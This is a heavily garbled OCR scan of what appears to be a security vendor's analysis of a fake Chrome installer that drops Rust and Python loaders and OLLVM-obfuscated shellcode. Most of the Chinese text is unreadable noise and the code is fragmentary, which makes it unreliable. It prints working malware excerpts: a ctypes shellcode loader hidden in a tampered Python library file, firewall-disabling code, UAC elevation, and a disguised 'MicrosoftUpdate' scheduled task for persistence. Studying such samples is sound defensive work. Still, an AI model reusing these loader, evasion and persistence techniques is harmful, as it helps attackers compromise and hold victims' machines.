IR : PythonFEE4ERE RS Chromefi3k BN AT

Y huorong.cn/document/tech/vir_report/1905

BE : ARESTRIVE TREEARE FRitE, HEUEAR , ZRERKShellCodeMEZHE
HAMAMHE : EBipythonw.exeff FFiR EFFHIT B 48 AL . pycS S , BERMEE 7 hRA
ipythonw.exe , FTAEFRRBEEAEEF pyc XABHMEEITA , ISR,

K4#iA : pythonw.exe ; BIKEIT ; Python AR 4R ; BT A ; Rust ; OLLVM =T
B ;

T, kR eTRINERT Re Bl RI— %A Chrome HIYE=S 3R BRI TR,
WRFIETE , BUREEEEENEEE. MEESRERF &8 IESS8 BamscilF FA 4
HE , FEEBAARE RS Re  FAERLEEME. ROREEMAENSE ., KERe™0
f_ERARDITERER , IARRERRERE,

Y mEmR X

AN
RS ENNE

REEEERE Trojan/ShellLoadery) ( 627766EA456D1643 )
R A25S (BTMEANESEGRRSNENE TS, TRERIESwdN=2tE
. EAHEAPREREES. )

HAaE STEMGME (24)

NEFERE

MAEET
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it =

&

09999599, msi
(Chrome EEEEEE)

Gasmealdmylsge.exe
(RUST ESFTE)

BEEZE C\Users\AdministratoriPython

#EZE Ciwsers\PubliciPython

¥

¥

HEEEEERE
(ANOEFEHA run.exe)

STIRES

()\Dé%i;ﬂ goe.exe)

T

VBT
run.exe Lo geo.exe
N0 python38.zip 4T __init__pye T App Eiﬁiﬂﬁ gcc.exe
1 SEIEESNS i
BETAES — app-8.99.8\gcc.exe

(gcc.exe)

1I0%E python39. zip| #RET __init__pyc
¥

¥

BEE goc.exe HIFAE
ErEEENES

—. BRSNS

WEEAFERRT ZATNRAHSES , MEMSIRESM, RustfefF. PythonFEELAEA , Hizl)
ShellCode FI|FHOLLVMIZHR IR FHITIRIE |
FFBT R ERIT. Bt , TR AT IILAE , EHFRUSTHER-SPYTHONMER 3 51512 A

Rust

=
==

Y5 A2 FF AR K FIPython S AALHIEIHT B

EE x.ind
(ShellCode)

lmﬁ

IEERIUST T e

RS

RAEBANTF I A NESRMWinos [T T
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Bz {255

T Chrome fF£kZ3E01

PITEERF Gasmealdmylsge.exe
fEH ISR ER S B a8 E
PUTHRE S IEERE (un.exe)
GIETHIES (gecexe)
PITHITES (gec.exe)

HETEL (gec.exe) PATEESNZES (app-0.99.0\gec.exe)
BB BRI (app-0.99.0\gce.exe)
M x.ini ST ShellCode FHHAT
RAINVST IR EE (x.ini ShellCode) M qagbba.com FEFRIUSTIHFHAT

MST [ (999999.msi)
RUST [frE% (Gasmealdmylsge.exe)

PYTHON [iE% (run.exe)

PYTHON [iE (gec.exe)

BTS2

1.1 MSI BBt (999999.msi)

%999999.msiT K BILE L , B ATNERTRE , MBS AP#ITRE. YA TEGF
PATAIREREFE , 23t ChromefEA&R R R H (WARSKSHRAELTRAH , HAACAMSIZR A
F¥Guavausns.exeX ) , BXFR EEIFHRERFLNEFI18E1T , REERNFIRAEESE
IHzsh ] EElgec.exef2FIEEIZTT.

7 999999.msi Properties bt M 999999.msi Properties X
General Compatibility Digital Signatures Security Custom Details Previous Versions
Custom Details Previous Versions General Compatibility Digital Signatures Security

Property Walue Embedded Signatures

Description MName of signer: Digest algorithm Timestamp
Title Installation Database
swed  [aEEEI
Categories TEE
Tags Ingtaller, MSI, Databaze
Comments HEREHARE NS TEE S50

Origin Details
Authors ERTEE
Revision number {13A5FB0B-677B-4686-8CF0-ADC3
Content created  12/9/2025 17:36 BrmEaS
Program name  &aradngs e

File Name of signer: Catalog Name Digest algorithm Time
Name 9399539 msi
ltem type Windows Installer Package
File location Do 20251217 _Python_White_...
Date created 12/17/202509:16
Date modified  12/9/2025 17:36
Cimm 170 Mo

Details
Remove Properties and Personal Infarmation
OK Cancel Apply OK Cancel Fpply

B AR
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Connecting to the Internet...

G chrome

AP ESEL TR R T

HA AT PUB IS Orcafe Fr A AWML ER E A MS IF2 FF %54 = CustomActionzk i B LaunchFile —1T , /7K
PiTviewer.exe 172 B {E \£%¥k/DontWait /RunAsAdmin "[#Gasmealdmylsge.exe]".

£% 95995C.msi - Orca - m] K
File Edit Tables Transform Jools View Help

DEL sBREMN =28 &

Tables ~ | Action T... Source Target ExtendedT... ~

ActionText AlInit_ WelcomeDlg 1 aicustact.dil DoEvents

AdminExecuteSequence AlSET_ADMIN 3 ALADMIN 1

AdminUlSequence Al InstallModeCheck: 1 aicustact.dll UpdatelnstallMode

AdvtExecuteSequence Al_LaunchApp 1 aicustact.dll LaunchApp

Binary Al_SHOW_LOG 83 aicustact.dll LaunchLogFile

BootstrapperllSequence Al_DOWNGRADE 19 4010

CheckBox Al_DpiContentScale 1 aicustact.dll DpiContentScale

ComboBax Al_EnableDebugleg 321 sicustact.dil EnableDebugleg

Component AJ_PREPARE_UPGRADE 65  aicustact.dll PrepareUpgrade

Condition Al_FinishActions 1 aicustact.dll RunAllExitActions

Control Al PRESERVE_INSTALL_TYPE 65 aicustact.dll PreservelnstallType

ControlCondition Al_RESTORE_LOCATION 65 aicustact.dil Restorelocation

ControlEvent Al_ResolveKnownFolders 1 aicustact.dll Al_ResolveKnownFolders

CreateFold, Al_STORE_LOCATION 51 ARPINSTALLLOCATION [APPDIR]

& SET_APPDIR 307 APPDIR [ProgramFilesFolder][Manufacturer]\[ProductName]

Dialog [LaunchFile 1730 viewer.exe_1 /DontWait /RunAsAdmin ‘[FGasmealdmylsge.exe]]  HIFIEM

Directory SET_SHORTCUTDIR 307 SHORTCUTDIR [ProgramMenuFolder][ProductName]

Emor SET_TARGETDIR_TO_APPDIR. 3 TARGETDIR [APPDIR]

EventMapping Al_CORRECT_INSTALL 51 ALINSTALL 1

Feature AlSET_RESUME 51 Al_RESUME 1

FeatureComponents Al_SET_INSTALL 51 AlINSTALL 1

File ALSET_MAINT 51 ALMAINT 1

InstallExecuteSequence Al_SET_PATCH 5 Al_PATCH 1

InstallUlSequence v Al_DETECT_MODERNWIN 1 aicustact.dil DetectModernWindows v
Tables: 37 CustomAction - 26 rows Source - String[72], Nullable

MSIZ 31 CustomActionZ=

e Hrviewer.exe 1 RINZFEFF Z2Advanced Installerfk 4 K viewer.exefeF , 2% BZF2F /3
z)iGasmealdmylsge.exe, ﬁtlﬂ/RunAsAdmlniFD/DontWaltﬁj\%lHt%%AfE G PRIZTT
Gasmealdmylsge.exef1~%{FGasmealdmylsge.exelz{ 74538,
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v BB A R Eh
if ( admin ) HESH RunAsAdmin 1) admin = 1
open = L"runas";

L"runas";
ExecInfo.lpVerb = open;

ire (
cInfo.lpDirectory
(% ) (1
1 = (¢
Info.lpParamet
£ ( admin )
£ .hwnd = GetFor g dow()
f ( pt )
i f_f hellex f ing(
cktap@_| Be);
Shel (& )

viewer.exeNE| S ¥ V1T AR

1.2 RUST HiE&x (Gasmealdmylsge.exe)

AN BRI DUF454E -

1. SIS C:\Users\Administrator\Python, C:\users\Public\Python

2. RIEEESIE GTRMESIRERS) FIC:\Users\Administrator\Python , 3£ {Trun.exe.

3. IRIEEESIE (ARIMNXER) FC:\users\Public\Python , 4K gec.exe 5AppEF T

gcc.exe,
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/f BREBHAT run.exe

V15 = f_decompress_zip_and_exec(
zip_data,
Bx4CC1CFiBa,

1281 *)dir,

=) run.exeDATAL EBEIEUIFE\N");

ATION *)&v35;

To \1 utfg_decode offset;
TokenHandle[1] void *)23

Y&admin_path[@x18] = @i64;

Yadmin_path = &p_TokenInformation;

(CQWORD *)&admin_path[8] = 1i64;

£ cleanup_tls_copy_buffer(( intizs *)ickentandle);

1f(

i_F haap_free_mamory(‘,i°[1], V20, *({_QHORD *Yv37 + 2));

}
else
{
TokenHandle[@] =
TokenHandle[1] =
Yadmin
YRadiin path[B] = @i64;

&v_utfs_conversion_offset;
void )13
ath = Big4;

o
£ _cleanup_tls_sync_copy_buffer((_ int123 *)TokenHandle);

p_TokenInf ATION *)Returnlength;

v memory free_offset;

id *)2;
V&admin_path[@x18] = @i64;
Yadmin_path = &p_TokenInformation;
&admin path[8] = 1i64;

f_cleanup_tls_sync_copy_buffer((_ int123 *)TokenHandle);

/# C:\users\Public\Python

= f_decompress_zip_and_exec(zip_data_B, @x51226Fis4,

RERTIESRESFSBEIRES

TR E SRR HRIBI « HPITMESRESS
BERBT.

it ENEER N

» ThisPC » Lecal Disk (C:) » Users » Administrator » Python »

Mame Date modified Type Saze
. [# _ctypespyd 12/30/2025 11 123 KB
7 libffi-7.d1 1 3
* y
Y python3.di
) 11:37 PM
+ . SN, SEMRTPHESEEE. C
* 1 5 11:37 PM Application
4 veruntirne 140410 Application exten. 100 KB

ITAHES R ER S B GahR BRSPS
1.3 PYTHON-1XHESEE S (run.exe)
PRI RHES R E RS

python39.zip XX A3+ SEBU A HHTILXY , ZINHFME—REMZencodings\

f_call_object_method_8;

f_extract_peinters_and_call;

_m128i **)&ReturnLength[2],

// C:\Users\Administrator\Python

vse[e], (_intlzs *)1);

2¥gec.exeiREMITIMES , NMIFAREETX

ThisPC » Local Disk (C) » Users » Public » Python » RS

Name Date modified Type Size

90.0 12716120
l RIBEN app-0.99.0 R gecexe
1 DORESAEr SR TEEEEY ShellCode

ThisPC + Local Disk (C) » Users » Public » Python » app-0.95.0 »
Name . Date medified Type Size
# _etypes.pyd
[ gecexe
= libffi-T.d0
] python2.dil

E vclulmmrldcl i

§3 AR A KPythonZ3.9.0/RAs , [ fa \PythonE P F B AR A

pyc 3LfF.

init__.

6/20



Filename Folder Cemparison Result Left Date Right Date
{0 asyncio Identical *12/19/2025 1:44:26 AM 12/19/2025 1:32:41 AM
f) collections Identical *12/19/2025 1:44:26 AM 12/19/2025 1:32:41 AM
{5 concurrent Identical *12/19/2025 1:44:26 AM 12/19/2025 1:32:41 AM
{60 ctypes Identical *12/19/2025 1:44:26 AM 12/19/2025 1:32:41 AM
f curses Identical *12/19/2025 1:44:26 AM 12/19/2025 1:32:41 AM
g dbm Identical *12/19/2025 1:44:26 AM 12/19/2025 1:32:41 AM
{0 distutils Identical *12/19/2025 1:44:26 AM 12/19/2025 1:32:41 AM
i email Identical *12/19/2025 1:44:26 AM 12/19/2025 1:32:41 AM
v encodings Folders are different *12/19/2025 1:44:26 AM 12/19/2025 1:32:41 AM
@u’; _init__pyc encodings Binary files are different 10/5/2020 4:47:26 PM *11/28/20259:08:16 PM__ pyc !
Y aliases.pyc encodings Binary files are identical 10/5/2020 447:26 PM 10/5/2020 4:47:26 PM pyc
B ascii pyc encodings Binary files are identical 10/5/2020 447:26 PM 10/5/2020 4:47:26 PM pyc
2 baseb4_codec... encodings Binary files are identical 10/5/2020 4:47:26 PM 10/5/2020 4:47:26 PM pyc
B big5.pyc encodings Binary files are identical 10/5/2020 447:26 PM 10/5/2020 4:47:26 PM pyc
B bighkscs.pyc encodings Binary files are identical 10/5/2020 447:26 PM 10/5/2020 4:47:26 PM pyc
8 bz2_codec.pyc  encodings Binary files are identical 10/5/2020 4:47:26 PM 10/5/2020 4:47:26 PM pyc
B charmap.pyc encodings Binary files are identical 10/5/2020 447:26 PM 10/5/2020 4:47:26 PM pyc
B cp037.pyc encodings Binary files are identical 10/5/2020 447:26 PM 10/5/2020 4:47:26 PM pyc

WO A0 em

python39.zip XfELE]

HePrun.exe R3C44 Apythonw.exe , [EEhXFEFFHIET &
encodingsfEX 4 , HiRfEPythonS \ZiE4

PR,

Dimams Filme aem idmmbioal

NS00 A ATIE DRA

AN/EFININ AATIE DR

__init__.pycXFFFTERAIIA , TR ERIRSEE TR,

(P EEy
*.

__init__

__init__.pyc R4miFE

yeX R 4w

28561
28562
28563
28564
28565
28566
28567
28568
28568

28578 kernel32 =
28571 kernel32.virtualAlloc.restype
28572 applyMemoney =

@1\ =801 \xef \xba \ x12\x80Q\ kB8 \xCTA\ KB \ BT \ 28 \ k80 \xa0 ",
"yxba\x8e\xa5\xel\xF3I\xeb\xbf\x8bQ\x08\ X80 \xdO\ xc1\xe8\x87\x83",
"yxeB\x81\x81\xd2\x890\xA3 \x83 \ xc 4\ xB4 M\ xc 35UV xB89 ",

"\xad\xc3\xaet\xlf==

\xa6\xBbyt+="f3\x18\x18",

Wkl Futhxeb \ kB9 \ L ke B \niF FlocF ik FF ik Bd O\ xkbBQ\xak ",

b
b
b
b \xce\xb8\f5h 18\ k18 \ k171 \xffG \xbb="xa6\x2by=0",
b
b
b

"wxeIixae\xebi\xda\x89 \xf L xedR \f Pl FiufF e \ e\ xbs \xf5\x1a ",
b Ax18\x17\x@fD\xc3\xeb\xc7\x89\xf8"_[\xc3\xaa‘\xee\xea",
b'\x28\xea\ xea\xea\xee\xea’ )

ctypes.WinDLL( "kernel32.d11")

= ctypes.c_void p

28573 kernel32.RtlMoveMemory.argtypes = [

28574
28575
28578

ctypes.c_void p,
ctypes.c_void_p,
ctypes.c_size t]

kernel32.virtualAlloc(@, len(buf), 12288, &64)

28577 kernel32.RtlMoveMemory(applyMemoney, buf, len(buf))

28578 func

= ctypes.cast(applyMemoney, ctypes.CFUNCTYPE(ctypes.c_void_p))
28579 handle = kernel32.CreateThread(®, @, func,

28580 kernel32.WaitForsingledbject(handle, -1)

ZShellCode#2Obfuscator - LLVM L A 3177

MTXER. BJE

8, 8, @)

Extension

45 \encodingst&tk |, tAf<
1ZH python39.zip £458~ encodings B K+ ]

EERIN TR , ATEEF FctypesFEAAWindows API
ShellCode #UEMAE| T HITNES , &=/aFf|HCreateThread$1TiZShellCode , F&1F

RIELLIE , SSHUEHIRFAN , UESERHEFFR T+

HAEBREhZESNESMBRIUEIHEGLIL , B2itHIl=X,
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IDA =5

R PR FFBUR angrxt BR 4 RIBEIRE | HAR 4 S RIS T ARSI AR
" (https://security.tencent.com/index.php/blog/msg/112) 5
https://github.com/cq674350529/deflatFFEIM B , DA 5RB& xE 08 i iE R A SR A K fR T
A,
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8% | FIBH ST ERIERIREEL

MR SHITERERIRFEWL

o=
dee

1LER

1.1 {ERTEal

R flow g — S 3 HTRE, SHITERERMRTRE

e
3
seeuriby.bencent.eom
€ deflat rubic @watch 3 ~

P master ~ P 1Branch © 0Tags Q. Go to file t Add file - <» Code ~
@ 9674350529 Merge pull request #14 from sup817ch/master @3 34243ch - 2 years ago  {0) 22 Commits
8 bogus_control_flow add complete support for Windows PE files 2 years ago
B8 flat_control_flow add complete support for Windows PE files 2 years ago
O gitignore use angr to deflat the flat control flow 7 years ago
D READMEmd 1. add support for aarch64; 2. support more hook_addrs in t.. 6 years ago
O am_graph.py minor fix 6 years ago
O utilpy fix jmp ins calculation for arm64 2 years ago
[ README 7 =

¢ Deobfuscation: recovering an OLLVM-protected program

Flat_control_flow

Description
BT snoweirls fdeflat, FIangrEBRTMAFMEHIATIEN, FANTHESETREFSRITAMEHATIENL .

FIREFRTF angr B2, MXFEMEY angr RZEN 8.19.4.5

XESFFIEHE

SR AR R PR N B SCH , AP MR AR RAFEA LT =
cmp/mov + jFFkpkiEtE4
mov ecx/rcx + cmove/cmovz +jmp

mov + cmp + [FF k154 3 BIEimpiE4

9/20



St

loc_SBFID: cmp eax, 9818A415h
mov eax, 7F311224h jz loc_5BF35
jmp loc_SBDFE —

ST

loc_ SBFD4:

mov ecx, 652DSED2h
cmovZ = eax, ecx

jmp loc_SBODFB

=

loc_5C178:

mov ecx, eax

cmp eax, 892E215h
jg short loc_SC1DC

BREEIRAFAE

®Ja , BEEPERIITTIREALIE (nop) |, FFASSRITIERRIF]. TERRNZ LD
FRAAD.

score = 8

if len(block.capstone.insns) ==
inse@ = bleck.capstone.insns[@]
insl = block.capstone.insns[1]
m@ = ins@.insn.mnemonic
ml = insl.insn.mnemonic
op@ = ins@.insn.op_str
opl = insi.insn.op_str

if m@ == 'cmp’ or m@ == 'mov':
if mi.startswith('j'):
score = 4

elif len(block.capstone.insns) ==

ins@ = block.capstone.insns[@]
ins1l = block.capstone.insns[1]
ins2 = bleck.capstone.insns[2]
m@ = ins@.insn.mnemonic

ml = insl.insn.mnemonic
m2 = ins2.insn.mnemonic
op@ = ins@.insn.op_str

opl = insi.insn.op_str
op2 = ins2.insn.op_str
print({f"block.capstene.insns) == 3 -> {md, ml1, m2, opd, opl, op2}")

if m@ == 'mov' and ('ecx’ in op@ or ‘rcx’ in op@) and ml in (“cmove’,’cmovz’,) and m2.startswith('j")
score = 4
alif me == ‘'mov’ and ml in ("cmp’,) and m2.startswith('j’) and m2 not in ('jmp',):
score = 4
if score != 4:

print(f"get_relevant_nop_nodes -»> relevant_node.addr -» {hex(node.addr)} | node.size -> {node.size}")
relevant_nodes.append(node)

else:
print(f"get_relevant_nop_nodes -> nop_node.addr -> {hex(node.addr)} | node.size -> {node.size}")
nop_nodes.append(noda)

i ACL)

5%

FSPITERFRARB KcalfE4 , FRHookixIg4 , WEARIREME , FEAFATIRE 01
BRI RAEE,
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def retn_procedure(state):
ip = state.addr
bits = state.arch.bits

v = claripy.BVS(ret_var_name, bits)

if "ret_vars" not in state.globals:
state.globals["ret_vars"] = {}

state.globals["ret_vars”][ip] = ret_var_name

state.globals[f"ret_constraint_{ip}"] = v

state.solver.add(claripy.Or(v == 8, v == 1)}
state.regs.rax = v
return

Hook callF§4- ek %%

ret_var_name = f"ret {ip:x} {state.history.depth}”

LA EITL , EXRFSHITR AR Hook calfE S0 |, FERSHA KRB IMAZE I

o, TR SIIT. IR SHITH |, MRETERIREARITIT
PR | BTERSPITABIRAE S HSL,

# mmmmmmmeeee= BB FEH —emmmm====
hits_normal = _run_once(_inspect=False, _mv=None, _tag=None)
print({rf"hits_normal -»> {hits_normal}")

# S EEED
if not is_two_branch:
return hits_normal

A (HIRIESTE deflatil B

# MIRIEFEEEETH >=2 AL, RADZEEMINE hits £T, FuiEsl

if len(hits_normal) »>= 2:
return hits_normal

# mommmmocos BTER: HERAIRE] 0/1 scccmmmmmooe
hitse = _run_once(_inspect=True, _mv=claripy.BWW(8, 1), _tag=@)
hitsl = _run_once(_inspect=True, _mv=claripy.BWW(1, 1), _tag=1)

set(hitse.keys())
set(hitsl.keys())

Ft R SRS AT S AT

FEPITESSBRAERER | TEIRERA—HKIESNZA , HMEEITANT BR&FBEETES.
EZHEAT |, 1590 A TERIFTZRBZE , 205 |, R A RS ENKIRBHREAEGE,
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def cc_from_mnemonic{m):
if m in ("cmovz", "cmove", "setz", "jz", "je"):
return "jz"

if m in ("cmowvnz", "cmovne", "setnz", "jnz", "jne", "cmovl”,

return "jnz"
return MNone

PSSk TE 1 H%

"cmovb"):

LIQLJ:FT%/E':/%J:—TH%TB&EEEEQEEU ShellCode£%kER VirtualAlloc, LoadLibraryAZeR %k

FH:Féu\EEWT MMBENEE , BB FRE A MEPELIELITHE.

IT | MEM_RESERVE

e
i64, *i_1, Bx3000i64, 4i64); BRI

f[(.+esc; =2 )

(ei61); 7 unsigned int v6; // ri3c
n @xFFFFFFFF; - unsigned int 7. / ebp
} e char vB[88];
= -
' evsuém - while ( 1)
for ( 4 = memy --viS; ++] ) - {
"= T 1k o -9
= Bx48; P = ad;
for ( k = Bv33; 1--noxa8; ++k ) - while ( v6 ¢ a4 )
o -~ {
5 - (4 ) [vel
if ( =( + Bx 134) ;«f }#
A —
rf_d___w:_t_ci__j: + 4, mem + Ox14, mem + @x23C, (*mem - @x23C)); - =8
mpute_hash(mem + Bx czc =(men + @x28)) == *(vem + @xD38); = v7;
n2 = >a,2; +H+*( + BxF)
if (m2=2)
goto LABEL_66; }
¥
adlibrarys = f_get_func(men, *(mem + @x38), *(mem + Ox28));
*(mes ex3e) = aryAj
if (! ibrarya )
return @xFRFFFF FF
= + Bx240;

Rt PERUR (R PITgcc.exeliTHIMES) ERRF MR ARME , KPS

REIATERE . EEf. BEEESARK, TLS{%’E’Z*H?& : ﬂi%éﬁﬁﬁ)\ﬂ,mo
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= ImageBase;// REEH
=R )((char *)&ve->OptionalHeader + pe->FileHeader.SizeOfOptionalHeader);

RS->FileHeader.NumberOfSections; ++n )

){ImageBase + IMAGE_S!
n].PointerToRawDatas
ER[n].Size0fRawData;

ADER[n].VirtualAddress);

ER[n].Misc.Physicaladdress = *section;

v133 = TmageBase - *(_QWORD *)(vS7 + V58 + 8x38);

7/ B8 AT

import_rva IT_HEADERS->OptionalHeader.DataDirectory[1].Virtualaddress;

if ( (_DWORD _rva )

{
for ( kk = (TMAGE_TMPORT_DESCRIPTOR *)(ImageBase + (unsigned int)import_rva); kk->Name; +kk )
{

k5

(_inte4 (_fastcall =)(_int64, ULONGLONG))sub_SD158)(al, ImageBase + kk->Name);
int *)(ImageBase + kk_1->Characteristics);

__int64 =) (ImageBase + kk_1->FirstThunk);

DERS->Optionalteader.DataDirectory[13].VirtualAddress;

MPORT_DESCRIPTOR *)(ImageBase + (unsigned int)import_rva); mm->Name; +mm )

v132 = ((_int64 (_fasteall *)(_int64, ULONGLONG))sub_5D150) (a1, ImageBase + mm->Name);
if (v132)

int *)(ImageBase + mm->DelayImportlameTable);
8 'y Impor
(__inte4 *)(ImageBase + mn->DelayImportAddressTable)s

*(DWORD *)((char *)dpe_rva->OptionalHeader.AddressOfEntryPoint + Inagedase_4);

)
((void (_fastcall *)(ULONGLONG, _ int64, _QWORD))(ImagsBase + AddressOfEntryPoint_1))(ImageBase, 1i64, 0i64);

FamEFRAAAR

1.3.1 RETIHES

XY EH BRI TR , HAASEE IR , MEUEE MAREHTTIT | ME/REBCOMIRO X

Zilp e

B AR IT

TokenInformati
TokenHandle = ©i64;
CurrentProcess = GetCurrentProcess();
if ( OpenProcessToken(CurrentProcess, 8u, &TokenHandle)
88 GetTokenInformation(TokenHandle, TokenElevation, &TckenInforma

n, 4u, (PDWORD)&ReturnLength) )

TokenInformation_1 = (int)TokenInformation;
b
if ( TokenHandle )

CloseHandle(TokenHandle);
if ( !'TokenInformation_1 )

{

GetModuleFileNameA (@164,
pExecInfo.cbSize = @x7@;
memset(&pExecInfo.fMask, @, @x6Cuibd);
pExecTnfo.hund = Bi64;
pExecInfo.lpVerb
pExecInfo.nShow
pExecInfo.lpFile = Filename;

while ( !ShellExecuteExA(&pExecInfo) )

ilename, @x1@4u);

return @ie4;

TokenInformation = @i64;
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if ( CoInitialize(@ied) == 8 )

1
if ( CoCreateInstance(&rclsid, @ie4, lu, &CLSID INetFwPolicy2, &p) »>= 8 )
1
SecurityQos.nd4 = NET_FW PROFILE2 PUBLIC; // A%
n3 = @ied; _
SecurityQos.sl = 13 // NET_FW_PROFILE2 DOMAIN -> Igifds%
SecurityQos.n2 = NET_FW_PROFILE2 PRIVATE; // ZARIH
do
/B ERE
(p->1pvtbl-:put_FirewallEnabled)(p, *(&SecurityQos.sl + n3++), @xFFFFFFFFiG4);
while { n3 <« 3 );
(p->1lpvtbl-:Release)(p);
1
CoUninitialize(};
h
53 K 3 < )

FFput_DefaultOutboundActionsR ¥ & EXIARE LE T B uhiZEsk |, [ /EF)FNdrClientCall3eR 508
¥ RPC(Remote Procedure Call) g1&11XI{E% , FFIFHWdcRunTaskAsInteractiveUserfifT
gcc.exe , ixgcc.exe RE— Tk , BIPITEI B R App ik TR 4% 3 fFgcc.exe , /atk & AT
BuhE,
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Sleep(@x3EBu);
T_set_oOutboundAction(NET_FW_ACTION BLOCK);
5leep(Bx3EBuU);

p = eis4;

SecurityQos = @i64;

if ( RpcStringBindingComposel(@i64, L"ncacn_np”, @i64, L"\\pipe\\atswc", @i64, 8Returnlength) )

TokenInformation 2 = @dis4;

else
{

RpcBindingFromStringBindingW(Returniength, &p);

RpcBindingSetauthInfoExA(p, @164, RPC_C_AUTHN_LEVEL PKT_PRIVACY, @xAu, @i64, @, &SecurityDos);
RpeStringFreeld(&Returniength);
TokenInformation 2 = pj
}
Vo = pi64;
v1l7 = @i64;
sprintf_s(
DstBuf,
Ox1066uisd ,

L"<?xml version=\"1.8\" encoding=\"UTF-16\"?><Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2084/8"
"2/mit/task\"> <RegistrationInfo> <Date>2024-04-19T723:21:37.8778561</Date> <Author>admin</Author> </Registra”
"tionInfo» <Triggers> <LogonTrigger id=\"Triggerl\"> <Enabled>true</Enabled> </LogonTrigger>
"> <Principals> <Principal id=\"Author\"» <Groupld>5-1-5-32-544</Groupld>
"nLevel> </Principal> </Principals> <Settings>

</Triggers”
<RunLevel>leastPrivilege</Ru”
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> "
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <5topIfGoingOnBatteries>true</StopIfGoingOnBat”

"teries> <AllowHardTerminate>true</AllowHardTerminate> <5StartWhenfvailablertrue</StartWhenAvailable> <Run0n™
"lyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <5topOnIdleEnd>true</StopOnIdleEnd> ™
" <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <En”
"abled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToR"
"un> <ExecutionTimelLimit>P3D</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Actions Context=\"Auth"
"or\"> <Exec> <Command>\"C: \\Users\\Public\\Python\\gcc.exe\"</Command> </Exec> </Actions»></Task>")};
NdrClientCall3_w(TckenInformation_2, L"\\Microsoft\\MicrosoftUpdate”, DstBuf, 2, @i64, @, 8, 0i64, &9, &v17);

if ( NdrClientCall3 w_&(TokenInformation_2, L"\\Microsoft\\MicrosoftUpdate”, @, ©i64, 8, @, 9i64, v18).Simple < @ )
1

CoInitializeEx(@iea, @);
htodule = LoadLibraryW(L"wdc.d11l™);
hLibModule = hModulej
if ( !hModule )
return 1lie4;

WdcRunTaskAsInteractivelUser = GetProcAddress(hModule, "WdcRunTaskAsInteractivelUser™);
if ( !WdcRunTaskAsInteractiveUser )

FreeLibrary(hLibModule);
return 1lie4;

(WdcRunTaskAsInteractivelser)(L™C:\\Users\\Public\\Python\\gcc.exe™, &unk_18601D3A4, ©i64);
FreeLibrary(hLibModule);
Sleep(@x1388u);

T_set_OutboundAction(NET_FW_ACTION_ALLOW);
return @ie4;

BIERITRINESS

THRIMES KRR INE -

® MicrosoftUpdate Propertis Locl Computer) ® MicrossftUpdate Propertes Local Compute)
General Tiggess  Actions Condtions Settings  History (disbled) General Triggers [Actians | Conditions Settings  History (disblec)

=l 1 = = =
==

RIS SKIRRIE

1.4 R E-BATE8 (gcc.exe)
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iZgcc.exeff FHHE https://github.com/Squirrel/Squirrel. Windowsi B = (]
StubExecutable/StubExecutable.cppftiS , AR TR U BIER FTRFAppER , FHIITHESR
T R4 3 fHgcc.exefEfF.

std::wstring FindLatestAppDir() FERBPE FindLatestAppDir il
{
std::wstring ourDir;
ourDir.assign(FindRootAppDir()); ) ..,.; (int)this;
.7, gccexe B FindlatestAppDir BNRSITER
ourDir i=lLT\_\:|;p_t_‘_;j LWRD(': FileNane[@]) = @5
e_directory_path = f_get_module_directory_path();
WIN32_FIND_DATA fileInfo = { @ }; ;—‘””“ o ) ectory_path)s
cat((vol H
HANDLE hFile = FindFirstFile(ourDir.c_str(), &fileInfo); mgmeiga i ,_‘));
if (hFile == INVALID_HANDLE_VALUE) { oy
return NULL;
} » 873 Data);

version::Semver20@_version acc("e
std::wstring acc_s;

do { {

std::wstring appVer = fileInfo.cFileName;

1=
n@xF = BxF;
Ver = Ver.substr(4); Skip 'app-' LOBYTE(vaz[@]) = @;___ _
apprer . apprer Su.s ot ]. J7 3Kip “spn unknown_libname_17 (Fd.6.8'h;
if (!(fileInfo.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { LOBYTE(v45) = 1;
continue; f_init_object_resource_setup(v23, (int)va2);

std::string s(appVer.begin(), appVer.end());

R ATAPp B R

int APIENTRY wiinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevinstance,
_In_ LPWSTR  lpCmdLine,
_In_ int nCmdShow)

std::wstring appName;
appName . assign(FindOwnExecutableName());

std: :wstring workingDir(FindLatestAppDir());
std: :wstring fullPath(workingDir + L"\\" + appName);

STARTUPINFO si = { @ };
PROCESS_INFORMATION pi = { 8 };

si.ch = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
51.wShowWindow = nCmdShow;

std::wstring cmdLine(L"\"");
cmdLine += fullPath;

emdLine += L*\" *;

cmdLine += lpCmdLine;

wehar_tx lpCommandLine = _wcsdup(cmdLine.c_str());

wchar_t* lpCurrentDirectory = _wcsdup(workingDir.c_str());

if (ICreateProcess(NULL, lpCommandlLine, NULL, NULL, true, 8, NULL, lpCurrentDirectory, &si, &pi)) {
return -1;

¥

AllowSetForegroundwindow(pi.dwProcessId);

WaitForInputIdle(pi.hProcess, 5 * 1000);
return 8;

PATERAMAPP B R FHIE LM (FFBE FARHRD)

1.5 PYTHON-H Bah& &% (app-0.99.0\gcc.exe)

BIXF AL OLLVMITHIR B A ShellCodeXs B [EamR B 2R MEHAT , MR A E )
pycI KSR E python39.zip E4aE fllencodings\__init__.pyc3Cf4,
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A B B SEEEFRITX.ini3C P ShellCode : .S 42 HT&IEITCOMEAEH ja3h
Btz A run.Ink , ZREEATORKTEM HRTgcc.exef2fF XX , MMTTAIFAK. /SR

2o

H4E A run.Ink

Users »

NN R %N

Type

Shortcut

s > Start Men

u > Programs »

Configuration sett...

xnixZf , xini3 A 2R MEKShellCode , % ShellCodeffI{E5 Hi2 MR MBGRIM /AT T2

Startup

1KB
2KB

# run Properties »

Security Details Previous Versions
General Shorteut Compatibility

t 'ﬂ un

Targettype:  Application

Target location: app-0.99.0

Target [ \Users\Public®Python'app 0,93 Dgec.ee. |

Statin | |

Shorteut key |Nnr\a |

Run: Nermal windaw v

Comment | |
Open File Location Change Icon ced

17/20



GetModuleFileNamew(@i64, Filename, @x1@4u);
